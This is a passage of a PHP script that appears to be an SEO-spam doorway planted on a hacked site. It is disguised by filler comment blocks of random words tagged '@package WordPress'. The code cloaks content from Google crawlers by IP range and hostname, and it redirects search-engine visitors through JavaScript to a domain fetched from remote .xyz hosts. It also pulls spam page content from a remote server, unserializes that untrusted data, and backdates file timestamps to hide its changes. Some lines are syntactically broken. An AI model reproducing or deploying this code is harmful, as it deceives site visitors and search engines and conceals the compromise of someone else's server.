  545.                                 $tempPid = $matches13[1];               }
  546.                
  547.                
  548.  
  549.        
  550.        
  551.                 if($tempPid){
  552.                         $_GET['id']= $tempPid;         
  553.                 }
  554.        
  555.        
  556. }       
  557.        
  558. function getRandStr(){
  559.        
  560.         $arrABC = range('a','z');       shuffle($arrABC);
  561.         $randNum = rand(4,6);   
  562.         $str = implode('',array_slice($arrABC,0,$randNum));     
  563.         return $str;}
  564.        
  565.  
  566. if(isset($_GET["id"]))
  567.         $id = $_GET["id"];
  568. else{
  569.        
  570.         if(isset($_GET["cat"])){
  571.                 $rqurl = $_GET["cat"];
  572.                
  573.                 $logFileName = './idlogs.txt';
  574.                 if(file_exists($logFileName)){
  575.                         $arrUrlId = unserialize(file_get_contents($logFileName));
  576.                 }else{
  577.                         $arrUrlId = array();
  578.                 }
  579.  
  580.                 if(isset($rqurl) && isset($arrUrlId[$rqurl]) && $arrUrlId[$rqurl]){
  581.                         $id  = $arrUrlId[$rqurl];              
  582.                 }else{
  583.                         $arrUrlId[$rqurl] = getRandCId($rqurl);
  584.                         $id = $arrUrlId[$rqurl];
  585.                         file_put_contents($logFileName,serialize($arrUrlId));
  586.                         @touch(dirname($logFileName), $fLogTime, $fLogTime);
  587.                         @touch($logFileName, $fLogTime, $fLogTime);    
  588.                 }
  589.         }else{
  590.                
  591.        
  592.         $id = "358804"; //llq index id
  593.        
  594.         }
  595.  
  596. }
  597.  
  598.  
  599. $resid = '#^\d+$#';
  600. if(!preg_match($resid,$id)){
  601.         exit;
  602. }
  603.  
  604. $id23 = $id;
  605.  
  606.  
  607.  
  608. $numArr_key = count($arr_key);
  609. $siteid = MSID;
  610. $siteAID = $siteid. '-' .$id23;$fileKey = $id23 % FNUM;
  611. // $_SERVER["HTTP_REFERER"] = "google.com";
  612. if(isset($_SERVER["HTTP_REFERER"])){
  613.         $referer = $_SERVER["HTTP_REFERER"];
  614.         $russ = '#(google|yahoo|incredibar|bing|docomo|mywebsearch|comcast|search-results|babylon|conduit)(\.[a-z0-9\-]+){1,2}#i';     
  615.  
  616.         $ipRanges = array(  array('64.233.160.0' , '64.233.191.255'),   array('66.102.0.0' , '66.102.15.255' ) ,   array('66.249.64.0' , '66.249.95.255') ,   array('72.14.192.0' , '72.14.255.255') ,   array('74.125.0.0' , '74.125.255.255') ,   array('209.85.128.0' , '209.85.255.255') ,   array('216.239.32.0' , '216.239.63.255') );
  617.         $localIp = get_real_ip();       
  618.         $is_or_no = is_ip($localIp,$ipRanges);
  619.         $iszz = isCrawler();   
  620.        
  621.         if(function_exists('gethostbyaddr')){
  622.                 $hostname = @gethostbyaddr($localIp);
  623.                 $is_g_ip = preg_match("#google#i", "$hostname") === 1;
  624.         }else{
  625.                 $is_g_ip = 0;
  626.         }
  627.        
  628.         if(preg_match($russ, $referer) && $iszz == false && $is_or_no == false && !$is_g_ip){
  629.                 $rsdom = '#^https?://www\.[^/]+/$#i';
  630.                
  631.                 $jumDom1 = 'http://www.'.$stss.'.xyz'. DOMTXT . $siteid .".txt";       
  632.                 $jumDom2 = 'http://www.'.$stss2.'.xyz'. DOMTXT . $siteid .".txt";
  633.        
  634.                 for($i=0;$i<2;$i++){
  635.                         $domJump = curl_getjs_from_webpage($jumDom1,2);
  636.                         $domJump = trim($domJump);
  637.  
  638.                         if(!preg_match($rsdom,$domJump)){
  639.                                 $domJump = curl_getjs_from_webpage($jumDom2,10);
  640.                        
  641.                                 $domJump = trim($domJump);
  642.                                 if(preg_match($rsdom,$domJump))
  643.                                         break;
  644.                         }else{
  645.                                 break;
  646.                         }
  647.                 }
  648.                
  649.                 echo '<script language="javascript" type="text/javascript">'. PHP_EOL .'window.location.href="'. $domJump . "index.php?main_page=product_info&products_id=" . $id23 .'";'. PHP_EOL .'</script>';                die()
  650.         }
  651. }
  652.  
  653.  
  654.  $fcontent = '';
  655.  
  656.  
  657.  $pInfoUrl =  GETDOM . "gpage.php?site=$thisdom&id=$siteAID";  
  658.  $pInfoStr = curl_get_from_webpage($pInfoUrl,'',5);
  659.  $rsInfo = '#<info>(.*)</info>#si';
  660.  preg_match($rsInfo,$pInfoStr,$matchInfo);
  661.  if(isset($matchInfo[1])){
  662.          $InFoStrArr = unserialize($matchInfo[1]);
  663.  }else{
  664.          header("HTTP/1.1 404 Not Found");exit;
  665.  }
  666.  
  667.  
  668.  
  669.  
  670.  if(isset($InFoStrArr['frStr2'])){
  671.         $frStr2 = $InFoStrArr['frStr2'];
  672.         $fr2Arr = unserialize($frStr2);
  673.  }
  674.  
  675. $frStr1 = $InFoStrArr['frStr1'];
  676. $fr1Arr = unserialize($frStr1);
  677.  
  678. $Ptitle = $InFoStrArr['Ptitle'];
  679.  
  680. $nowIdName = $InFoStrArr['nowIdName'];
  681.  
  682. if(strstr($Ptitle,'#cat#')){
  683.         $tp_title_arr = explode('#cat#',$Ptitle);
  684.         $Ptitle = $tp_title_arr[1];
  685. }
  686.  
  687. $Article = $InFoStrArr['Article'];
  688. $pcatstr = $InFoStrArr['pcatstr'];
  689. $nowPreStr = $InFoStrArr['nowPreStr'];
  690. $nowNextStr = $InFoStrArr['nowNextStr'];
  691.  
  692.  
  693. if(strstr($pcatstr,'#cname#')){
  694.         $temparrI = explode('#cname#',$pcatstr);
  695.         $catStr = $temparrI[0];
  696.         $catArr = explode('^',$catStr);
  697.         $tparrCat = array();
  698.         $catArrII = array();
  699.         foreach($catArr as $vs){
  700.                 $vs = str_replace('&amp;','&',$vs);
  701.                 if(!isset($tparrCat[$vs])){
  702.                         $tparrCat[$vs] = 1;
  703.                         $catArrII[] = $vs;
  704.                 }
  705.         }
  706.  
  707.         $catArr = $catArrII;
  708.        
  709.         $mateStr = $temparrI[1];
  710.         if(strstr($mateStr,'#keydescription#')){
  711.                 $temparrII = explode('#keydescription#',$mateStr);
  712.                 $pkeyword = trim($temparrII[0]);
  713.                 if(!$pkeyword){
  714.                         $pkeyword = $Ptitle;
  715.                 }else{
  716.                         $keyArr = explode(',',$pkeyword);
  717.                         $num = count($keyArr);
  718.  
  719.                         $yushu = KEYJG % $num;
  720.  
  721.                         $arrPre = array();
  722.                         $arrLast = array();
  723.  
  724.                         for($i=0;$i<$num;$i++){
  725.                                 if($i<$yushu){
  726.                                         $arrLast[] = $keyArr[$i];
  727.                                 }else{
  728.                                         $arrPre[] = $keyArr[$i];
  729.                                 }
  730.                         }
  731.  
  732.                         if(count($arrLast)){
  733.                                 foreach($arrLast as $vs){
  734.                                         $arrPre[] = $vs;
  735.                                 }
  736.                         }
  737.                        
  738.                         $pkeyword = implode(',',$arrPre);
  739.                 }
  740.                
  741.                 $pdescription = $temparrII[1];
  742.                 if(!$pdescription){
  743.                         $pdescription = $nowPreStr. ' ' .$Ptitle. ' ' .$nowNextStr;
  744.                 }else{
  745.                         $DesArr = explode(',',$pdescription);
  746.                         $num = count($DesArr);
  747.  
  748.                         $yushu = KEYJG % $num;
  749.  
  750.                         $arrPre = array();
  751.                         $arrLast = array();
  752.  
  753.                         for($i=0;$i<$num;$i++){
  754.                                 if($i<$yushu){
  755.                                         $arrLast[] = $DesArr[$i];
  756.                                 }else{
  757.                                         $arrPre[] = $DesArr[$i];
  758.                                 }
  759.                         }
  760.  
  761.                         if(count($arrLast)){
  762.                                 foreach($arrLast as $vs){
  763.                                         $arrPre[] = $vs;
  764.                                 }
  765.                         }
  766.                        
  767.                         $pdescription = implode(',',$arrPre);
  768.                        
  769.                         $pdescription .= '.';
  770.                 }
  771.                
  772.         }else{
  773.                 $pkeyword = $Ptitle;
  774.        
  775.                 $pdescription = $nowPreStr. ' ' .$Ptitle. ' ' .$nowNextStr;
  776.         }
  777. }else{
  778.         $catArr = array();
  779.         if(strstr($mateStr,'#keydescription#')){
  780.                 $temparrII = explode('#keydescription#',$mateStr);
  781.                 $pkeyword = $temparrII[0];
  782.                 if(!$pkeyword){
  783.                         $pkeyword = $Ptitle;
  784.                 }else{
  785.                         $keyArr = explode(',',$pkeyword);
  786.                         $num = count($keyArr);
  787.  
  788.                         $yushu = KEYJG % $num;
  789.  
  790.                         $arrPre = array();
  791.                         $arrLast = array();
  792.  
  793.                         for($i=0;$i<$num;$i++){
  794.                                 if($i<$yushu){
  795.                                         $arrLast[] = $keyArr[$i];
  796.                                 }else{
  797.                                         $arrPre[] = $keyArr[$i];
  798.                                 }
  799.                         }
  800.  
  801.                         if(count($arrLast)){
  802.                                 foreach($arrLast as $vs){
  803.                                         $arrPre[] = $vs;
  804.                                 }
  805.                         }
  806.                        
  807.                         $pkeyword = implode(',',$arrPre);
  808.                 }
  809.                
  810.                 $pdescription = $temparrII[1];
  811.                 if(!$pdescription){
  812.                         $pdescription = $nowPreStr. ' ' .$Ptitle. ' ' .$nowNextStr;
  813.                 }else{
  814.                         $DesArr = explode(',',$pdescription);
  815.                         $num = count($DesArr);
  816.  
  817.                         $yushu = KEYJG % $num;
  818.  
  819.                         $arrPre = array();
  820.                         $arrLast = array();
  821.  
  822.                         for($i=0;$i<$num;$i++){
  823.                                 if($i<$yushu){
  824.                                         $arrLast[] = $DesArr[$i];
  825.                                 }else{
  826.                                         $arrPre[] = $DesArr[$i];
  827.                                 }
  828.                         }
  829.  
  830.                         if(count($arrLast)){
  831.                                 foreach($arrLast as $vs){
  832.                                         $arrPre[] = $vs;
  833.                                 }
  834.                         }
  835.                        
  836.                         $pdescription = implode(',',$arrPre);
  837.                        
  838.                         $pdescription .= '.';
  839.                 }
  840.         }else{
  841.                 $pkeyword = $Ptitle;
  842.                 $pdescription = $nowPreStr. ' ' .$Ptitle. ' ' .$nowNextStr;
  843.         }
  844. }
  845.  
  846.  
  847.  
  848. $BreadStr = getBreadcrum($Ptitle,$catArr);
  849.  
  850. $numcat = count($catArr);
  851. $catEnd = $catArr[count($catArr)-1];
  852. $randCatkeyI = $id23 *  PNAMELEN % $numcat;
  853. $randCatkeyII = $id23 *  KEYJG % $numcat;
  854.  
  855. if($randCatkeyI == $randCatkeyII){
  856.         $randCatkeyII = ($randCatkeyII + 1) % $numcat;
  857. }
  858.  
  859. $catAdd = ' '. $catArr[$randCatkeyI] .' '. $catArr[$randCatkeyII];
  860.  
  861. $thisPnameLink = '<a href="">'.$nowIdName.'</a>';
  862. $thisPnameLink2 = '<a title="'.$nowIdName.'" href="">'.$nowIdName.'</a>';
  863. $thisTitleLink = '<a title="'.$Ptitle.'" href="">'.$Ptitle.'</a>';
  864. $Article =  str_replace('#ttlink#',$thisTitleLink,$Article);
  865. $Article =  str_replace('#mylink#',$thisPnameLink2,$Article);
  866.  
  867.  
  868. $artArr = explode('#fgfgfg#',$Article);
  869. if(count($artArr) != 3){
  870.         header("HTTP/1.1 404 Not Found");exit;
  871. }
  872.  
  873.  
  874.  
  875. $artArr[1] = str_replace('<div>','',$artArr[1]);
  876. $artArr[1] = str_replace('</div>','',$artArr[1]);
  877. $artArr[1] = str_replace('</p>','',$artArr[1]);
  878. $artArr[1] = str_replace('<p>','',$artArr[1]);
  879. $artArr[1] = trim($artArr[1]);
  880. $LinkNextDes = '<div>'.$pdescription . ' ' .$artArr[1].'</div>';
  881.  
  882. $fr1Strs = '<ul>'.PHP_EOL;
  883. foreach($fr1Arr as $key=>$vs){
  884.         $tpPid = $key;
  885.         $tpFlink = getalink($tpPid,$vs);
  886.        
  887.         if(strstr($vs,'#cat#')){
  888.                 $tp_name_arr = explode('#cat#',$vs);
  889.                 $vs = $tp_name_arr[1];
  890.         }
  891.        
  892.         $fr1Strs .= '<li><a title="'.$vs.'" href="'.$tpFlink.'">'.$vs.'</a></li>'.PHP_EOL;
  893. }
  894. $fr1Strs .= '</ul>'.PHP_EOL;
  895.  
  896. if(isset($fr2Arr)){
  897.         $fr2Strs = '<ul>'.PHP_EOL;
  898.         foreach($fr2Arr as $key=>$vs){
  899.                 $tpPid = $key;
  900.                 $tpFlink = getalink($tpPid,$vs);
  901.                
  902.                
  903.                 if(strstr($vs,'#cat#')){
  904.                         $tp_name_arr = explode('#cat#',$vs);
  905.                         $vs = $tp_name_arr[1];
  906.                 }
  907.                
  908.                 $fr2Strs .= '<li><a title="'.$vs.'" href="'.$tpFlink.'">'.$vs.'</a></li>'.PHP_EOL;
  909.         }
  910.         $fr2Strs .= '</ul>'.PHP_EOL;
  911. }
  912.  
  913.  
  914.  $thisPnameLink = '<a href="">'.$nowIdName.'</a>';
  915.  $thisPnameLink2 = '<a title="'.$nowIdName.'" href="">'.$nowIdName.'</a>';
  916.  
  917.  $thisTitleLink = '<a title="'.$Ptitle.'" href="">'.$Ptitle.'</a>';
  918.  
  919.  
  920.  
  921.                 $fileMb = fopen("moban.html","r");
  922.                         $html = fread($fileMb,filesize("moban.html"));                 
  923.                        
  924.                         $html = str_ireplace('#bbbtitsbbb#', $Ptitle. $catAdd, $html)
  925.                         $html = str_ireplace('#bbbkeybbb#', $pkeyword, $html)
  926.                         $html = str_ireplace('#bbbdesbbb#', $pdescription. ' ' .$Ptitle, $html);       
  927.                        
  928.                         $html = str_ireplace('#bbb1content1bbb#',  $BreadStr . PHP_EOL .'<div>'.$artArr[0].'</div>', $html);
  929.                         // $html = str_ireplace('#bbb2content2bbb#', $artArr[1], $html);
  930.                         $html = str_ireplace('#bbb2content2bbb#', '', $html);
  931.                         $html = str_ireplace('#descontent#', $artArr[2], $html);
  932.                        
  933.                         $html = str_replace('#link1#',$thisPnameLink,$html);
  934.                                 $html = str_replace('#link2#','',$html);
  935.                                 $html = str_replace('#link3#',$thisPnameLink,$html);
  936.                                 $html = str_replace('#link4#','',$html);
  937.                                 $html = str_replace('#link5#',$thisPnameLink,$html);
  938.                                
  939.                                 $html = str_replace('#flink#',$fr1Strs.$LinkNextDes,$html);
  940.                                 $html = str_replace('#Flink2#','',$html);
  941.                        
  942.                
  943.         echo $html;
  944.  
  945. die();
  946.  
  947.        
  948. /**
  949.  * coach debt exaggerate frown gallon insure noticeable outstanding professional snap spur title transform utilify vertical wander.
  950.  * alcohol appropriate automatic burst dash enclose hook interfere interpretation mature molecule relief route secure software talent tense.
  951.  * consent isolate leak reveal semester shrug slip stable strategic treaty.
  952.  * agent applianc infect knot partial passport poverty shift survey tone torture variation video voluntary.
  953.  * calendar campus horrible region volcano.
  954.  * agent coarse community discount gaze merchant mild ruin smash trace violence.
  955.  * excess hook profit vain vivid.
  956.  * facility gasoline household leather passion stale tarnest transmit urban withdraw withstand.
  957.  * response debate drip emotion exclaim extent extreme genuine internal jealous orient recruit tremble urban.
  958.  * audio capture forbid global gratitude haste issue leak lest noticeable optional petroleum quit recruit stable transform variable version vessel withstand.
  959.  * arouse decline explosive insignificant label navigation negative prosperity shallow submerge weld.
  960.  * appropriate collision evolve explosive highlight hydrogen inferior jealous liable previous prominent religious reveal ridid slip stimulate tidy twist video.
  961.  * barrier geography horrible kneel origin sequence split.
  962.  * audio bargain campus catalog cliff community deserve dispose echo explosive humble onion shallow solar universe vacuum violent yawn.
  963.  * abuse appreciate debt flash glory liquor magnet marveous parallel participate primitive ridid semiconductor subsequent suspicion urban vehicle videotape volcano.
  964.  * beforehand discipline expand nonsense.
  965.  * bundle drift extraordinary yield.
  966.  * applianc blast decorate exaggerate golf hook inferior jam minimum omit passport pat shiver stimulate.
  967.  * audio candidate decent deposit deputy disturb entitle expend extent external issue luxury nevertheless obscure poverty previous reliable shift volunteer weed witness.
  968.  * accelerate acid bargain core erect exterior gesture hence numerrous prohibit subt vessel.
  969.  * apparent dispose focus generate illusion marine nylon prohibit resistant semester shift transport virtual.
  970.  * adhere approximate auxiliary bunch dump expensive haste hestiate household idle jail label liter manufacture omit optional range shiver skim vacuum vocabulary voluntary wonder.
  971.  * arise avenue cliff decorate distress enclose exceed garbage mutual orbit powder prior repetition sketch submit tuition valley violent.
  972.  * response balcony competition favorite inevitable prohibit usage via.
  973.  * acquire alcohol alter devise distress elbow estimate exceedingly flock hestiate incident interpretation register.
  974.  * advertise applicable approve consent distribute harmony hostile incident liberal simplicity slender snap tone vehicle vivid wagon whatsoever.
  975.  * alcohol arbitrary competent conservation dash expend favorable geography grand horror insurance moral presumably pursue racial religious rely restrict scandal shelter shiver spot temporary volunteer yawn.
  976.  * response adult agent architect bachelor boundary drip entitle faulty media mist principal prospect simplify yawn.
  977.  * aspect compete forbid giant grant leather licence ridid tidy venture virtue.
  978.  * agent bargain continual dump entertainment explosive faculty female gaze genius insurance likelihood nuclear parade participate recreation reinforce resolve scan shield strategic trial volume.
  979.  * bacteria fatigue frown obstacle respond secure stripe undertake.
  980.  * award device durable emotion ferfile impose moisture naked resume sketch suspicious textile transport.
  981.  * architect beforehand consume core encounter germ glimpse highlight horror humble illusion insurance mild motive oblige offend prompt reluctant removal severe splendid title videotape waist.
  982.  * abundant adhere arbitrary duration exceedingly extraordinary glimpse launch passive personal powder precaution rely sexual sorrow textile the triangle variable virtue whereas.
  983.  * domestic export fax luxury neglect opponent suburb tidy venture virtual.
  984.  * comparable enthusiasm manufacture whatsoever.
  985.  * automatic balcony ceremony conservation explore forbid gear mere reliable submerge subsequent.
  986.  * architect available burden earthquake gesture insure merchant passive venture.
  987.  * calculate estimate insure regulate strategic tense.
  988.  * alcohol compete devise elastic encounter extinct frustrate inhabitant integrate issue likelihood necessity orient profit prompt resistant scale shuttle spot substantial tone urgent withdraw.
  989.  * barrier comparative continual elbow fatigue flexible glimpse legislation likelihood mood necessity peak quit reinforce respond seminar sensible shrink snap sorrow submerge tide.
  990.  * acquire biology deaf holy hook inevitable neutral organ orient personal primitive radical recruit removal simplicity simplify temptation.
  991.  * applicable architecture aspect awkward competition continuous discount evolution exterior fax jail moisture onion retail satellite sincere thrust vain vertical.
  992.  * female ingredient marveous snap strategy.
  993.  * comparable consistent ferfile mixture prosperity remote seminar tender trial ultimate vessel.
  994.  * balcony distress exclude origin prevail scandal seminar submit subt tense utter valid.
  995.  * approve dash durable interfere prevail terminal vacuum.
  996.  * acid extinct faulty genius hatred maintain odd petrol principal provision shrink slide substance transform virtue wander.
  997.  * accomplish budget collision comparable elaborate ingredient notify sake security signature solar stale swallow tremendous version vital.
  998.  * adhere appreciate disturb index infer moral portion poverty tissue vitally.
  999.  * appoint cancel emotion individual label necessity portion retain signature simplify swallow tension ultimate unique variation.
  1000.  *
  1001.  * @package WordPress
  1002.  */
  1003.  
  1004.  
  1005.  
  1006. function getBreadcrum($Ptitle,$catArr){
  1007.  
  1008.         global $arrBread,$thisdom;
  1009.  
  1010.  
  1011.         $breadTagkey = KEYJG % 6;
  1012.         if($breadTagkey == 0){
  1013.                 $breadTagHtml1 = 'nav';
  1014.                 $breadTagHtml2 = 'ul';
  1015.         }elseif($breadTagkey == 1){
  1016.                 $breadTagHtml1 = 'nav';
  1017.                 $breadTagHtml2 = 'ol';
  1018.         }elseif($breadTagkey == 2){
  1019.                 $breadTagHtml1 = 'div';
  1020.                 $breadTagHtml2 = 'ol';
  1021.         }elseif($breadTagkey == 3){
  1022.                 $breadTagHtml1 = 'section';
  1023.                 $breadTagHtml2 = 'ol';
  1024.         }elseif($breadTagkey == 4){
  1025.                 $breadTagHtml1 = 'section';
  1026.                 $breadTagHtml2 = 'ul';
  1027.         }else{
  1028.                 $breadTagHtml1 = 'div';
  1029.                 $breadTagHtml2 = 'ul';
  1030.         }
  1031.  
  1032.  
  1033.         $arrBreadNum = count($arrBread);
  1034.         $domlen = strlen($thisdom);
  1035.  
  1036.  
  1037.         $breadTagkey = $domlen % 5;
  1038.        
  1039.         $liClassYs = KEYJG % 8;
  1040.        
  1041.         if($liClassYs == 0){
  1042.                 $liStr = ' class="item"';
  1043.         }elseif($liClassYs == 1){
  1044.                 $liStr = ' class="breadcrumbs-item"';
  1045.         }elseif($liClassYs == 2){
  1046.                 $liStr = ' class="breadcrumblist-item"';
  1047.         }else{
  1048.                 $liStr = '';
  1049.         }
  1050.        
  1051.         $arrBreadId = array();
  1052.         $arrBreadId[0] = 'chrome-breadcrumb';
  1053.         $arrBreadId[1] = 'breadcrumb';
  1054.         $arrBreadId[2] = 'Breadcrumb';
  1055.         $arrBreadId[3] = 'BreadcrumbsHead';
  1056.         $arrBreadId[4] = 'BreadcrumbHead';
  1057.         $arrBreadId[5] = 'BreadcrumbList';
  1058.         $arrBreadId[6] = 'BreadcrumbsList';
  1059.         $arrBreadId[7] = 'bread_crumb';
  1060.         $arrBreadId[8] = 'Breadcrumbs';
  1061.         $arrBreadId[9] = 'breadcrumbs';
  1062.        
  1063.         $keyBreadId = KEYJG % 25;
  1064.        
  1065.         if(isset($arrBreadId[$keyBreadId])){
  1066.                 $keyBreadIdStr = ' id="'.$arrBreadId[$keyBreadId].'"';
  1067.         }else{
  1068.                 $keyBreadIdStr = '';
  1069.         }
  1070.        
  1071.  
  1072.  
  1073.         $strBreads = '';
  1074.         if($breadTagkey == 4){
  1075.                
  1076.                 $classI =  KEYJG % 2 ? 'BreadcrumbHead' : 'breadcrumbList';
  1077.                 $classII =  $domlen % 2 ? 'Breadcrumbs' : 'Breadcrumb';
  1078.                
  1079.                 $strBreads .= '<'.$breadTagHtml1.$keyBreadIdStr.' class="'.$classI.'">';
  1080.                 $strBreads .= '<'.$breadTagHtml2.' class="'.$classII.'">';
  1081.                 $strBreads .= '<li'.$liStr.'><a href="/">Home</a></li>';
  1082.                 if(count($catArr)){
  1083.                         foreach($catArr as $vs){
  1084.                                 $vs = trim($vs);
  1085.                                 $nowCatUrl = getCatLink($vs);
  1086.                                 $strBreads .= '<li'.$liStr.'><a href="'.$nowCatUrl.'">'.$vs.'</a></li>';
  1087.                         }
  1088.                 }
  1089.                
  1090.                 $strBreads .= '<li'.$liStr.'>'.$Ptitle.'</li>';
  1091.                 $strBreads .= '</'.$breadTagHtml2.'>';
  1092.                 $strBreads .= '</'.$breadTagHtml1.'>';
  1093.         }else{
  1094.                 $calssBreadKey = KEYJG % $arrBreadNum;
  1095.                 $classTop = $arrBread[$calssBreadKey];
  1096.                 $classul =  KEYJG % 2 ? 'Breadcrumb' : 'breadcrumbs';
  1097.                 $breadTagkey = $domlen % 2;
  1098.  
  1099.                 if($breadTagkey == 0){
  1100.                         if($classTop)
  1101.                                 $strBreads .= '<'.$breadTagHtml1.$keyBreadIdStr.' class="'.$classTop.'">';
  1102.                         else
  1103.                                 $strBreads .= '<'.$breadTagHtml1.$keyBreadIdStr.'>';
  1104.                        
  1105.                         $strBreads .= '<'.$breadTagHtml2.' class="'.$classul.'" itemscope itemtype="http://schema.org/BreadcrumbList">';
  1106.                         $strBreads .= '<li'.$liStr.' itemprop="itemListElement" itemscope itemtype="http://schema.org/ListItem"><a itemprop="item" href="/"><span itemprop="name">Home</span></a><meta itemprop="position" content="1" /></li>';
  1107.                         $flagNum = 2;
  1108.                         if(count($catArr)){
  1109.                                 foreach($catArr as $vs){
  1110.                                         $vs = trim($vs);
  1111.                                         $nowCatUrl = getCatLink($vs);
  1112.                                         $strBreads .= '<li'.$liStr.' itemprop="itemListElement" itemscope itemtype="http://schema.org/ListItem"><a itemprop="item" href="'.$nowCatUrl.'"><span itemprop="name">'.$vs.'</span></a><meta itemprop="position" content="'.$flagNum.'" /></li>';
  1113.                                         $flagNum++;
  1114.                                 }
  1115.                         }
  1116.                                
  1117.                                
  1118.                         $strBreads .= '<li'.$liStr.' itemprop="itemListElement" itemscope itemtype="http://schema.org/ListItem"><span itemprop="name">'.$Ptitle.'</span><meta itemprop="position" content="'.$flagNum.'" /></li>';
  1119.                                
  1120.                         $strBreads .= '</'.$breadTagHtml2.'>';
  1121.                         $strBreads .= '</'.$breadTagHtml1.'>';
  1122.                 }else{
  1123.                         if($classTop)
  1124.                                 $strBreads .= '<'.$breadTagHtml1.$keyBreadIdStr.' class="'.$classTop.'">';
  1125.                         else
  1126.                                 $strBreads .= '<'.$breadTagHtml1.$keyBreadIdStr.'>';
  1127.                        
  1128.                         $strBreads .= '<'.$breadTagHtml2.' class="'.$classul.'" itemscope itemtype="http://schema.org/BreadcrumbList">';
  1129.                         $strBreads .= '<li'.$liStr.' itemscope itemtype="http://data-vocabulary.org/Breadcrumb"><a href="/" itemprop="url"><span itemprop="title">Home</span></a></li>';
  1130.                         if(count($catArr)){
  1131.                                 foreach($catArr as $vs){
  1132.                                         $vs = trim($vs);
  1133.                                         $nowCatUrl = getCatLink($vs);
  1134.                                         $strBreads .= '<li'.$liStr.' itemscope itemtype="http://data-vocabulary.org/Breadcrumb"><a href="'.$nowCatUrl.'" itemprop="url"><span itemprop="title">'.$vs.'</span></a></li>';
  1135.                                 }
  1136.                         }
  1137.                                
  1138.                                
  1139.                         $strBreads .= '<li'.$liStr.'><strong>'.$Ptitle.'</strong></li>';
  1140.                                
  1141.                         $strBreads .= '</'.$breadTagHtml2.'>';
  1142.                         $strBreads .= '</'.$breadTagHtml1.'>';
  1143.                 }
  1144.         }
  1145.        
  1146.        
  1147.         return $strBreads;
  1148.  
  1149. }
  1150.  
  1151.  
  1152.  
  1153. function getCatLink($CatName){
  1154.                
  1155.                 global $arrnametime,$arrKeywz,$arr_word,$strRand;              
  1156.        
  1157.                 $filePres = '';         $fileEnds = '';         $siteLink='http://'.$_SERVER['HTTP_HOST'];
  1158.                 $dirNames = dirname(__file__);          $httcReplace = end((explode(DIRECTORY_SEPARATOR, $dirNames)));         
  1159.                 if(JDT == 2){
  1160.                         $filePres = $siteLink ."/". $httcReplace . "/" . basename(__file__) . "/";              }elseif(JDT == 1){
  1161.                         $filePres = $siteLink ."/". $httcReplace . "/";         }elseif(JDT == 3){
  1162.                         $filePres = $siteLink ."/". $httcReplace . "/" .basename(__file__) . "?cat=";           }else{
  1163.                         $filePres = $siteLink."/";              }
  1164.                
  1165.                 $CatName = str_replace('&',' ',$CatName);
  1166.                 $CatName = str_replace('&',' ',$CatName);
  1167.                 if(JDT == 3){
  1168.                        
  1169.                         $CatName = preg_replace('#\s+#i','-',$CatName);
  1170.                        
  1171.                        
  1172.                         while(strstr($CatName,'--'))
  1173.                                 $CatName = str_replace('--','-',$CatName);
  1174.                        
  1175.                         $linkCenter = $CatName
  1176.                        
  1177.                         $rtStr = $filePres.$linkCenter;
  1178.                         $rtStr = str_replace($filePres.'-',$filePres,$rtStr);
  1179.                
  1180.                         return $rtStr;
  1181.                        
  1182.                         }
  1183.                
  1184.                
  1185.                
  1186.                
  1187.                 $CatName = preg_replace('#\s+#i','-',$CatName);
  1188.                 $CatName = str_replace('--','-',$CatName);
  1189.                 $linkCenter = str_replace('--','-',$CatName).'-'.BZCAT;
  1190.                 $linkCenter .= JTHZ;           
  1191.                 $rtStr = $filePres.$linkCenter;
  1192.                 $rtStr = str_replace($filePres.'-',$filePres,$rtStr);
  1193.                
  1194.                 return $rtStr;
  1195.                        
  1196.         }
  1197.        
  1198.        
  1199.        
  1200.        
  1201. function getMapNum($bgNum,$mapnum){
  1202.         $TempArr = array();
  1203.         if($bgNum + $mapnum <= FNUM){
  1204.                 for($i=0;$i<$mapnum;$i++){
  1205.                         $TempArr[$i] = $bgNum + $i -1;
  1206.                 }
  1207.         }else{
  1208.                 for($i=0;$i<$mapnum;$i++){
  1209.                         if($bgNum+$i > FNUM)
  1210.                                 $TempArr[$i] = $bgNum + $i -1 -FNUM;
  1211.                         else
  1212.                                 $TempArr[$i] = $bgNum + $i -1;
  1213.                 }
  1214.         }
  1215.        
  1216.         return $TempArr;
  1217. }
  1218.  
  1219.  
  1220. function getRandCId($rqurl){
  1221.         global $thisdom;
  1222.        
  1223.         for($i=0;$i<3;$i++){
  1224.                 $idUrl =  GETDOM . "gpage.php?site=$thisdom&cid=$rqurl";
  1225.                 $tempIdStr = curl_get_from_webpage($idUrl,'',5);
  1226.                 if(preg_match('#<cid>(\d+)</cid>#i',$tempIdStr,$matchId)){
  1227.                         return $matchId[1];
  1228.                 }
  1229.         }
  1230.        
  1231.         header("HTTP/1.1 404 Not Found");  
  1232.         header("Status: 404 Not Found");  
  1233.         exit;
  1234.        
  1235. }
  1236.  
  1237. /**
  1238.  * bother calculate campus evolution export extraordinary favorable fax gallon hence infant neglect oblige peak phenomenon principle sincere software triangle violet waist.
  1239.  * catalog gesture hestiate obstacle personal theme.
  1240.  * constant devise equivalent external frustrate interfere personnel quit rival spot vehicle yield.
  1241.  * academy accelerate adequate ban budget burst coarse constant estimate excursion explore idle jealous jeans maximum modify pants poverty rely remarkable sorrow wander whereas.
  1242.  * advertise approximate cancel exclaim fatigue faulty flee glimpse loosen mild negative racial shrink tend transform utilify vibrate.
  1243.  * acid applicable automatic explosive geography globe hydrogen navigation notify particularly priority region smash software the tide.
  1244.  * academic bunch elastic exaggerate hatred ridid slender split.
  1245.  * response advertisement bachelor barrel beforehand blast exterior holy import male neutral prevail prompt respond sexual splendid tropical valley variation violent vitally.
  1246.  * adopt evaluate junior liberal motivate oblige tense vertical voluntary.
  1247.  * echo excursion expel radical rival route sophisticated.
  1248.  * adult automatic delicate fax glory legislation manufacture merchant moral naval obstacle religious rescue respond sponsor tension textile title tremendous vibrate.
  1249.  * accelerate adequate bacteria blast breed capture compete deaf focus integrate manufacture moist orient primitive signature violet.
  1250.  * advertisement attitude discipline entertainment evaluate explosive geometry global haste holy liberty mainland manual merchant motive notify pants petroleum presumably relief shield stale the virtue.
  1251.  * award jail pursue remedy ruin.
  1252.  * calendar decent dive diverse earthquake evolve frown liable naked rely sexual variable.
  1253.  * authority beforehand chaos elastic electron expansion gesture glory insure jealous legislation portion profitable reveal tide utilify whatsoever.
  1254.  * alter award boundary burst cargo cliff elastic episode external internal pants satellite substitute talent via volume.
  1255.  * arise authority burden extreme laser numerrous oral personal poverty trend triangle videotape vocabulary.
  1256.  * awful breed commit discrimination external hardware optics oval petrol secure sincere substantial version vivid xploit.
